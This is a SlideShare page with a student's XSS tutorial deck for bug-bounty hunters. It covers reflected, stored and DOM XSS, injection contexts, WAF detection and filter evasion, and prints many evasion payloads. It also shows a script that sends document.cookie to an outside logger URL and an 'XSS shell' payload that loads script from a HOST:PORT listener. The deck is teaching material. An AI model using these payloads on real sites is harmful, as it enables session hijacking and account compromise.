SlideShare ist ein Scribd-Unternehmen logo
1 von 37
XSS Primer: Noob to Pro in 1
hour
By @snoopy_security
Who and Why
•
Student & Junior Security Consultant.
•
XSS is a easy win if you do it correctly.
•
Bug bounties pay well and clients give you respect.
•
Cross site scripting is one of the oldest web application
attacks known and is to be dated around 1996-1998
What is XSS?

Untrusted data from user is processed by the
application without any sort of validation.

It affects client side but the vulnerability resides in the
server side.

Different types Reflected, Stored and DOM XSS
What is XSS?
Reflected XSS
What is wrong with the above code?

The above code just prints the comment which is
retrieved from the $_GET variable.
Can add malicious JavaScript with the original URL.

<?php

echo '<h1>Hello ' . $_GET["name"]. '</h1>';
Some Beginner Tips

XSS can come from anywhere. Some common ones are

URL parameter

Headers i.e user agent

Metadata

Input forms

Text area

Hidden fields

Flash parameters

File Uploads
Some Beginner Tips

1. Try injection HTML Tags as well and malicious JavaScript
2. SVG is always good for a short and crisp attack vector. Can
add whitespaces forward slashes and unclosed tags.
3. Add junk data with your payload
4. Always try a couple of different payloads. This mainly
applies when trying to evade filters.

"><svg/onload=prompt(1)>
Stored XSS

Malicious payload is stored by the server though database
or other forms of storage and is reflected back.

This form of attack is easier than phishing with XSS
payloads.

Can get admin cookies as well access to the internal
network depending on the attack vector.
DOM XSS
The document object model is a structured representation of
the web page rendered by the browser.
DOM is where event handlers and any other JavaScript
functions execute. DOM shows all the JavaScript and HTML
rendered by your browser.
DOM defines a way a webpage accessed and manipulated.
An attacker can manipulate the DOM by adding malicious
JavaScript which can change elements set by the DOM to
attack a victim.
DOM XSS

To find DOM XSS, analyse the JavaScript being executed on
the page and see if DOM being written.

DOM is not view source. Inspect element is a better visual
representation of the DOM.

ZAP,Burp and other proxies does pick up unsafe methods
but you will need to check manually.

If it cannot be exploitable, try figuring about what library
and unsafe sink the application is using. E.g. jquery .attr()
DOM XSS

Common methods used to access DOM

document.location

document.URL

document.URLUnencoded

document.referrer

window.location

Passed data can then be written by methods such as eval,
document.write and window.setinterval.
Useful sources
OWASP DOM XSS prevention cheat – gives you good
explanation on unsafe methods that directly modify DOM.
The DOM XSS wiki
:https://code.google.com/p/domxsswiki/wiki/Introduction
The wiki has useful information on dangerous methods,
common sources and sinks.
Other variations include Mutation XSS. More on that later…..
Context is Everything
Context is where the given input is reflected back.
Five common ones
1. HTML
2. Attributes
3. Script
4. URL
5. Style
HTML Context

Malicious input in reflected back in the html body in tags
such as <div><p><title> and more.

Easiest to attack

Close the tag and try <script>alert(1)</script> or any similar
payload.
Attribute Context

HTML elements can have attributes. Attributes are

Input is reflected in a attribute element. So look for input
being reflected back in ‘value =‘ or ‘alt =‘ or something
similar.

Most of the time, attributes will be inside a single or a
double quote.
Couple of tips
1. Break out of the context by closing the quote and attribute
tag. E.g ‘>
2. Any type of encoding won’t help your payload if you can’t
break out of context.
3. If in doubt, URL-encode any special characters that
have signify & = + ; and space. aas' onload='prompt(0);''
4. Event handlers can also be used to attack attributes aas'
onload='prompt(0);''
Script Context
The input will be reflected back inside a script tag. break out
of text with quotes and execute
Input is usually reflected back as part of a variable.
Payload example 
junk' ; alert(1);//
URL Context

The input is reflected back in a href attribute. E.g.

<iframe src=“[Reflected Data]”>

<a href==“[Reflected Data]”>Link</a>

<META http-equiv=“refresh” content=““[Reflected Data]”>

No need to break out of context. Only need to encode
payloads. This type of context requires the victim to click
the URL to execute.
Tips

Common ways to attack URL Context
The above payload is base64 encoded. More about encoding
later.
You can also define the charset just like data, this might be
useful in some cases.

javascript:prompt(0)
data/text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
CSS Context
Also know as style context
Input is usually reflected in inside a style tag
Can be attacked using
Another common one

width:expression(alert(‘XSS’))
WAF Detection
Usually Regex, Blacklist or whitelist based
WAF can sometimes detect inbound as well as outbound.
Most WAFs still detect using a signature based approach.
Common way to detect WAFs: Modified cookies, rewritten
headers and response codes
WAF Detection

Find combinations of allowed and block characters first.

Some known tools to detect WAF.
•
Wafw00f
•
http-waf-fingerprint NSE script
•
http-waf-detect NSE script
Will only detect the popular ones.

xss,<>{};”’script
Filter Evasion 101

More than one ways to skin a web app!

If <script> tag is blocked>
If site is filtering double and single quotes, you can use back
tick (`). This technique only works on IE.
“><script >alert(document.cookie)</script >
“><ScRiPt>alert(document.cookie)</ScRiPt>
“%3e%3cscript%3ealert(document.cookie)
%3c/script%3e
“><scr<script>ipt>alert(document.cookie)</scr</s
cript>ipt>
%00“><script>alert(document.cookie)</script>
Filter Evasion
Some popular techniques consists of spaces, encoding and
comments. Try using prompt or confirm instead of alert
Calling a external JavaScript file from inside a script source tag
if brackets and quotes are blocked.
If the application is filtering quotes or blocking script tags, try
the below

<SCRIPT
SRC=https://web.archive.org/web/20150121175718/http://ha.cker
s.org/xss.js></SCRIPT>

<img/src=x onerror=prompt(/XSS/);>
Filter Evasion
When in doubt, try to comment everything after your
payload.
If less than and greater than sign is filtered in attribute
context, try
If script and src tags are blocked in a html context, try
<script>alert(1)</script><!-- (html/attribute context)
“;alert(5);// (script context)

“ onload=“prompt(0);””

<object data=“javascript:alert(0)”>
Filter Evasion resources
Too many techniques to present. Check them out here
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat
_Sheet
http://codev587.net/xss-filter-evasion-cheat-sheet-no1.html
http://n0p.net/penguicon/php_app_sec/mirror/xss.html
Encoding
Encoding – transferring data from one format to another. E.g.
ASCII, Unicode, URL Encoding etc
Browsers support numerous encoding schemes but the attack
vector depends on the page and its meta tag e.g.
Encoding is useful if the server is decoding correctly. Still need
to break out of context correctly for the encoded payload to
work.
<svg/onload=alert&#40&#41>>
Encoding
The following table describes how a user can obfuscate an IP
address:
This trick is getting more common among phishers. E.g.
http://0xd2.0xdb.0xf1.0x7b/.online/BankofAmericaOnlineID/
SignIn
URL Form
http://127.0.0.1/ Decimal
http://2130706433/ Dword
http://0x7f.0x00.0x00.0x01/ Hex
http://0177.0000.0000.0001/ Octal
http://127.0x00.0000.0x01/ Mixed
Encoding
fromCharCode() method converts Unicode values into
characters
Long UTF-8 Unicode encoding to bypass filters
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<img src=x
onerror="&#0000106&#0000097&#0000118&#0000097&#00001
15&#0000099&#0000114&#0000105&#0000112&#0000116&#0
000058&#0000097&#0000108&#0000101&#0000114&#0000116
&#0000040&#0000039&#0000088&#0000083&#0000083&#000
0039&#0000041">
Encoding
Encoding can also be useful to break up an XSS payload if the
server is using pattern matching regex.
Can also double encode payloads. Depends on how the
application processes encoded client requests.
The hexadecimal encoding of “../” represents "%2E%2E%2f“
Double encoding of “../” represents "%252E%252E%252F"
<IMG SRC="jav&#x09;ascript:alert('XSS');">
More Filter Evasion
ASCII Decimal Encoded
Will turn into alert(‘XSS’). The payload uses html entities
which is decoded and rendered by the browser.
ASCII Hex Encoded
Useful for bypassing ‘magic_quotes_gpc’
&#106;&#97;&#118;&#97;&#115;&#99;&#114;
&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;
&#40;&#39;&#88;&#83;&#83;&#39;&#41;
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70
;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x2
7;&#x58;&#x53;&#x53;&#x27;&#x29;
Encoding
More Examples here:
http://htmlpurifier.org/live/smoketests/xssAttacks.php
https://danielmiessler.com/study/encoding/
Some useful encoders:
http://n0p.net/penguicon/php_app_sec/mirror/xss.html
http://evuln.com/tools/xss-encoder/
https://mothereff.in/html-
entitieshttp://dev.w3.org/html5/html-author/charref
https://hackvertor.co.uk/public
http://utf-8.jp/public/jjencode.html?src=
Actual attack vectors
<script>window.location="http://example.com/logger.php?
cookie="+document.cookie;</script>
When executed, the above code sends the victims cookie to
an attacker controlled site.
Can be used for many things including cookie stealing, drive
by downloads, running browser exploits, phishing and
more.
BeEF makes everything easy
More cool XSS payloads:http://www.xss-payloads.com/
Useful tools

Opinion: Most scanners suck at finding XSS.

Couple of tools I like – Xenotix, XSSValidator Burp Plugin,
Sleepy puppy (If testing multiple applications, has trackable
XSS payloads)
How to build a scanner that works?
A - Scanning within a browser engine.
B - Using PhantonJS or similar webkit detect successful
reflected XSS.
I still prefer finding XSS manually but I like having options
XSS Shell Demo
Cool POC by Brutelogic. Fun way to report XSS than just
script alert(1).
Attacker machine listener
Target payload
<svg/onload=setInterval(function()
{d=document;z=d.createElement("script");z.src="//HOST:PORT";d.
body.appendChild(z)},0)>
Things I didn’t mention
Flash XSS – Embedded SWF files can be decompiled to source
code. This can be used to find unfiltered variables which can
be called from an URL to include malicious XSS.
XSS Polyglot – Upload a flash file and be accepted as vaild
JavaScript. Run remote XSS with src tag. (can be beat CSP in
rare cases)
Mutation XSS – There are more ways to trick DOM into
parsing malicious XHTML like payloads.
All worth checking out…..
@snoopy_security
IRC:#SHUHACKSOC
Website:http://shuhacksoc.co.uk

Weitere ähnliche Inhalte

Was ist angesagt?

Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsMikhail Egorov
 
Lie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application FirewallsLie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application FirewallsIvan Novikov
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionMikhail Egorov
 
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...Garage4hackers.com
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?Yurii Bilyk
 
Aem dispatcher – tips & tricks
Aem dispatcher – tips & tricksAem dispatcher – tips & tricks
Aem dispatcher – tips & tricksAshokkumar T A
 
Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Nabin Dutta
 
HTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versionsHTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versionsneexemil
 
JSON based CSRF
JSON based CSRFJSON based CSRF
JSON based CSRFAmit Dubey
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourSoroush Dalili
 
A story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMA story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMFrans Rosén
 
Entity provider selection confusion attacks in JAX-RS applications
Entity provider selection confusion attacks in JAX-RS applicationsEntity provider selection confusion attacks in JAX-RS applications
Entity provider selection confusion attacks in JAX-RS applicationsMikhail Egorov
 
Web Cookies
Web CookiesWeb Cookies
Web Cookiesapwebco
 
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim HegazyHackIT Ukraine
 
HTTP by Hand: Exploring HTTP/1.0, 1.1 and 2.0
HTTP by Hand: Exploring HTTP/1.0, 1.1 and 2.0HTTP by Hand: Exploring HTTP/1.0, 1.1 and 2.0
HTTP by Hand: Exploring HTTP/1.0, 1.1 and 2.0Cory Forsyth
 
JavaScript - Chapter 15 - Debugging Techniques
 JavaScript - Chapter 15 - Debugging Techniques JavaScript - Chapter 15 - Debugging Techniques
JavaScript - Chapter 15 - Debugging TechniquesWebStackAcademy
 

Was ist angesagt? (20)

HTTP Security Headers
HTTP Security HeadersHTTP Security Headers
HTTP Security Headers
 
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webapps
 
Lie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application FirewallsLie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application Firewalls
 
OWASP Zed Attack Proxy
OWASP Zed Attack ProxyOWASP Zed Attack Proxy
OWASP Zed Attack Proxy
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
 
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?
 
Aem dispatcher – tips & tricks
Aem dispatcher – tips & tricksAem dispatcher – tips & tricks
Aem dispatcher – tips & tricks
 
XSS
XSSXSS
XSS
 
Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)
 
HTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versionsHTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versions
 
JSON based CSRF
JSON based CSRFJSON based CSRF
JSON based CSRF
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
 
A story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMA story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEM
 
Entity provider selection confusion attacks in JAX-RS applications
Entity provider selection confusion attacks in JAX-RS applicationsEntity provider selection confusion attacks in JAX-RS applications
Entity provider selection confusion attacks in JAX-RS applications
 
Web Cookies
Web CookiesWeb Cookies
Web Cookies
 
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
 
Pentesting jwt
Pentesting jwtPentesting jwt
Pentesting jwt
 
HTTP by Hand: Exploring HTTP/1.0, 1.1 and 2.0
HTTP by Hand: Exploring HTTP/1.0, 1.1 and 2.0HTTP by Hand: Exploring HTTP/1.0, 1.1 and 2.0
HTTP by Hand: Exploring HTTP/1.0, 1.1 and 2.0
 
JavaScript - Chapter 15 - Debugging Techniques
 JavaScript - Chapter 15 - Debugging Techniques JavaScript - Chapter 15 - Debugging Techniques
JavaScript - Chapter 15 - Debugging Techniques
 

Andere mochten auch

DevOps(2) : Vagrant - (MOSG)
DevOps(2) : Vagrant  -  (MOSG)DevOps(2) : Vagrant  -  (MOSG)
DevOps(2) : Vagrant - (MOSG)Soshi Nemoto
 
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...Andrew Petukhov
 
Viruses on mobile platforms why we don't/don't we have viruses on android_
Viruses on mobile platforms  why we don't/don't we have viruses on android_Viruses on mobile platforms  why we don't/don't we have viruses on android_
Viruses on mobile platforms why we don't/don't we have viruses on android_Jimmy Shah
 
Attacking IPv6 Implementation Using Fragmentation
Attacking IPv6 Implementation Using FragmentationAttacking IPv6 Implementation Using Fragmentation
Attacking IPv6 Implementation Using Fragmentationmichelemanzotti
 
Radware DefensePipe: Cloud-Based Attack Mitigation Solution
Radware DefensePipe:  Cloud-Based Attack Mitigation SolutionRadware DefensePipe:  Cloud-Based Attack Mitigation Solution
Radware DefensePipe: Cloud-Based Attack Mitigation SolutionRadware
 
Anti evasion and evader - klaus majewski
Anti evasion and evader - klaus majewskiAnti evasion and evader - klaus majewski
Anti evasion and evader - klaus majewskiStonesoft
 
Advanced Persistent Threats (APTs) - Information Security Management
Advanced Persistent Threats (APTs) - Information Security ManagementAdvanced Persistent Threats (APTs) - Information Security Management
Advanced Persistent Threats (APTs) - Information Security ManagementMayur Nanotkar
 
Static Analysis Security Testing for Dummies... and You
Static Analysis Security Testing for Dummies... and YouStatic Analysis Security Testing for Dummies... and You
Static Analysis Security Testing for Dummies... and YouKevin Fealey
 
2600 av evasion_deuce
2600 av evasion_deuce2600 av evasion_deuce
2600 av evasion_deuceDb Cooper
 
Ever Present Persistence - Established Footholds Seen in the Wild
Ever Present Persistence - Established Footholds Seen in the WildEver Present Persistence - Established Footholds Seen in the Wild
Ever Present Persistence - Established Footholds Seen in the WildCTruncer
 
The Art of AV Evasion - Or Lack Thereof
The Art of AV Evasion - Or Lack ThereofThe Art of AV Evasion - Or Lack Thereof
The Art of AV Evasion - Or Lack ThereofCTruncer
 
FortiGate Firewall HOW-TO - DMZ
FortiGate Firewall HOW-TO - DMZFortiGate Firewall HOW-TO - DMZ
FortiGate Firewall HOW-TO - DMZIPMAX s.r.l.
 
Change Management PPT Slides
Change Management PPT SlidesChange Management PPT Slides
Change Management PPT SlidesYodhia Antariksa
 

Andere mochten auch (18)

DevOps(2) : Vagrant - (MOSG)
DevOps(2) : Vagrant  -  (MOSG)DevOps(2) : Vagrant  -  (MOSG)
DevOps(2) : Vagrant - (MOSG)
 
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
 
Viruses on mobile platforms why we don't/don't we have viruses on android_
Viruses on mobile platforms  why we don't/don't we have viruses on android_Viruses on mobile platforms  why we don't/don't we have viruses on android_
Viruses on mobile platforms why we don't/don't we have viruses on android_
 
Attacking IPv6 Implementation Using Fragmentation
Attacking IPv6 Implementation Using FragmentationAttacking IPv6 Implementation Using Fragmentation
Attacking IPv6 Implementation Using Fragmentation
 
Radware DefensePipe: Cloud-Based Attack Mitigation Solution
Radware DefensePipe:  Cloud-Based Attack Mitigation SolutionRadware DefensePipe:  Cloud-Based Attack Mitigation Solution
Radware DefensePipe: Cloud-Based Attack Mitigation Solution
 
Anti evasion and evader - klaus majewski
Anti evasion and evader - klaus majewskiAnti evasion and evader - klaus majewski
Anti evasion and evader - klaus majewski
 
Advanced Persistent Threats (APTs) - Information Security Management
Advanced Persistent Threats (APTs) - Information Security ManagementAdvanced Persistent Threats (APTs) - Information Security Management
Advanced Persistent Threats (APTs) - Information Security Management
 
Static Analysis Security Testing for Dummies... and You
Static Analysis Security Testing for Dummies... and YouStatic Analysis Security Testing for Dummies... and You
Static Analysis Security Testing for Dummies... and You
 
THE VEIL FRAMEWORK
THE  VEIL FRAMEWORKTHE  VEIL FRAMEWORK
THE VEIL FRAMEWORK
 
Veil Evasion and Client Side Attacks
Veil Evasion and Client Side AttacksVeil Evasion and Client Side Attacks
Veil Evasion and Client Side Attacks
 
Polygon filling
Polygon fillingPolygon filling
Polygon filling
 
2600 av evasion_deuce
2600 av evasion_deuce2600 av evasion_deuce
2600 av evasion_deuce
 
Fortinet sandboxing
Fortinet sandboxingFortinet sandboxing
Fortinet sandboxing
 
Ever Present Persistence - Established Footholds Seen in the Wild
Ever Present Persistence - Established Footholds Seen in the WildEver Present Persistence - Established Footholds Seen in the Wild
Ever Present Persistence - Established Footholds Seen in the Wild
 
The Art of AV Evasion - Or Lack Thereof
The Art of AV Evasion - Or Lack ThereofThe Art of AV Evasion - Or Lack Thereof
The Art of AV Evasion - Or Lack Thereof
 
Fortigate Training
Fortigate TrainingFortigate Training
Fortigate Training
 
FortiGate Firewall HOW-TO - DMZ
FortiGate Firewall HOW-TO - DMZFortiGate Firewall HOW-TO - DMZ
FortiGate Firewall HOW-TO - DMZ
 
Change Management PPT Slides
Change Management PPT SlidesChange Management PPT Slides
Change Management PPT Slides
 

Ähnlich wie Noob to Pro XSS Primer in 1 Hour: The Complete Guide to Cross-Site Scripting

04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
Attackers Vs Programmers
Attackers Vs ProgrammersAttackers Vs Programmers
Attackers Vs Programmersrobin_bene
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
Joomla security nuggets
Joomla security nuggetsJoomla security nuggets
Joomla security nuggetsguestbd1cdca
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Ikhade Maro Igbape
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityChris x-MS
 
Locking the Throneroom 2.0
Locking the Throneroom 2.0Locking the Throneroom 2.0
Locking the Throneroom 2.0Mario Heiderich
 
Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Stephan Chenette
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfyashvirsingh48
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web AppsFrank Kim
 
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...Xlator
 
Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730chadtindel
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Amit Tyagi
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesCarol McDonald
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Irfad Imtiaz
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingInMobi Technology
 

Ähnlich wie Noob to Pro XSS Primer in 1 Hour: The Complete Guide to Cross-Site Scripting (20)

04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Complete xss walkthrough
Complete xss walkthroughComplete xss walkthrough
Complete xss walkthrough
 
Attackers Vs Programmers
Attackers Vs ProgrammersAttackers Vs Programmers
Attackers Vs Programmers
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Joomla security nuggets
Joomla security nuggetsJoomla security nuggets
Joomla security nuggets
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Locking the Throneroom 2.0
Locking the Throneroom 2.0Locking the Throneroom 2.0
Locking the Throneroom 2.0
 
Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007
 
Ultimate xss
Ultimate xssUltimate xss
Ultimate xss
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdf
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web Apps
 
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
 
Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
 
Session7-XSS & CSRF
Session7-XSS & CSRFSession7-XSS & CSRF
Session7-XSS & CSRF
 

Kürzlich hochgeladen

H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo DayH2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo DaySri Ambati
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningLars Bell
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piececharlottematthew16
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxhariprasad279825
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024Stephanie Beckett
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfPrecisely
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
